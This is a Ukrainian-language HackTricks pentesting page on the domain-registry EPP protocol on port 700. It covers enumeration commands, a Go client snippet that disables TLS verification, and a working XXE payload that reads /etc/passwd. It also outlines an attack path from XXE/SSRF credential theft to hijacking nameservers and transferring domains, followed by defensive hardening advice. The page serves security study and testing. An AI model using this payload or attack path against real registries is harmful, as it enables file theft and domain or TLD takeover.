700 - Pentesting EPP
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
Розширювальний протокол надання (EPP) - це мережевий протокол, що використовується для управління доменними іменами та іншими інтернет-ресурсами реєстрами доменних імен та реєстраторами. Він дозволяє автоматизацію процесів реєстрації, продовження, передачі та видалення доменних імен, забезпечуючи стандартизовану та безпечну комунікаційну структуру між різними суб'єктами в системі доменних імен (DNS). EPP розроблений так, щоб бути гнучким і розширювальним, що дозволяє додавати нові функції та команди в міру розвитку потреб інфраструктури Інтернету.
В основному, це один з протоколів, які реєстратор TLD пропонуватиме реєстраторам доменів для реєстрації нових доменів у TLD.
Пентест
У цій дуже цікавій статті ви можете побачити, як деякі дослідження безпеки виявили, що кілька реалізацій цього протоколу були вразливі до XXE (XML External Entity), оскільки цей протокол використовує XML для комунікації, що дозволило б зловмисникам захопити десятки різних TLD.
Перерахунок та розвідка
Сервери EPP майже завжди слухають на TCP 700/tcp
через TLS. Типове розгортання також забезпечує взаємний TLS (mTLS), тому клієнт повинен представити дійсний сертифікат, виданий CA реєстру. Проте багато приватних тестових або передвиробничих розгортань забувають про цей контроль:
# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>
# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head
Якщо сервер не закриває з'єднання після TLS-рукопожаття, ви можете спробувати надіслати неавтентифіковане <hello/>
повідомлення:
<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>
Відкриті клієнти, корисні для тестування
- epp-client (Go) – активно підтримується, підтримує TCP/TLS та EPP-over-HTTPS (RFC 8730):
go install github.com/domainr/epp/cmd/epp@latest
- gandi/go-epp – мінімальна бібліотека клієнта, яку можна легко налаштувати для фуззингу або робочих процесів у стилі nuclei.
- afq984/php-epp-client – реалізація на PHP, яку використовують багато малих реєстраторів; зручна ціль для перевірки коду.
Приклад мінімального скрипта для входу+перевірки з Go epp-client:
package main
import (
"github.com/domainr/epp"
"crypto/tls"
)
func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}
Загальні слабкості та вразливості 2023-2025
Рік | Компонент | CWE | Вплив |
---|---|---|---|
2023 | CoCCA Реєстр < 3.5 | CWE-611 XXE | Дистанційне читання файлів та SSRF через підготовлений <epp> вантаж (патч: 2023-11-02) |
2024 | FRED EPP Сервер 2.x | CWE-322 Недостатня валідація TLS сертифікатів | Обхід mTLS дозволив несанкціонований вхід реєстратора |
2025 | Приватна панель реєстратора | CWE-306 Відсутня аутентифікація для критичної функції | Точка затвердження передачі домену відкрита через EPP-HTTP міст |
XXE / SSRF вантаж (працює проти багатьох реалізацій Java/Spring)
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>
Коли парсер неправильно налаштований (XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true
), вміст файлу повертається всередині структури <resData>
.
Інші типові знахідки
- Слабка політика облікових даних – паролі для входу в EPP коротші за 8 символів; брутфорс часто можливий, оскільки специфікація лише РЕКОМЕНДУЄ (не вимагає) обмеження швидкості.
- Відсутній статус
registryLock
/serverUpdateProhibited
– після аутентифікації зловмисники можуть негайно оновити записи NS і вкрасти трафік. - Несигновані повідомлення опитування – деякі реалізації все ще не підписують повідомлення Q&A опитування, що дозволяє підробку/фішинг операторів реєстраторів.
Шлях атаки: Від нуля до захоплення TLD
- Виявити EPP кінцеву точку (часто приховану за загальним хостом, таким як
ot&e.<tld>.nic.<cc>
). - Зловживати однією з вразливостей вище, щоб отримати облікові дані на рівні реєстратора (XXE → SSRF до IMDSv1, ексфільтрація облікових даних або TLS-обхід).
- Випустити запити
<update>
, щоб змінити записиhostObj
домену на сервери імен, контрольовані зловмисником. - (Необов'язково) Подати
<transfer>
, щоб перемістити домен до реєстратора, контрольованого зловмисником – багато реєстрів все ще покладаються на один код авторизації. - Прибуток: повний контроль над DNS зоною, можливість запитувати TLS сертифікати через ACME.
Заходи захисту та зміцнення
- Вимагати mTLS з сертифікатами клієнтів для кожного реєстратора та закріпити CA реєстру.
- Встановити
parserFeature secure-processing=true
або еквівалент для знищення XXE. - Запустити безперервне фуззингування XML парсера (наприклад, з
go-fuzz
абоjazzer
для Java). - Впровадити статуси Registry Lock / server*Prohibited для доменів з високою вартістю.
- Моніторити чергу
poll
на підозрілі команди<transfer>
або<update>
та сповіщати в реальному часі. - Поправки до контракту ICANN 2024 про зловживання DNS вимагають від реєстрів доводити обмеження швидкості та контроль авторизації – використовуйте їх.
Посилання
- ICANN Security and Stability Advisory Committee (SSAC). "SAC118: Наслідки невиконання оператором реєстру заходів безпеки EPP". 2024.
- HackCompute – "Злом EPP серверів: зловживання XXE для захоплення TLD" (2023).
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.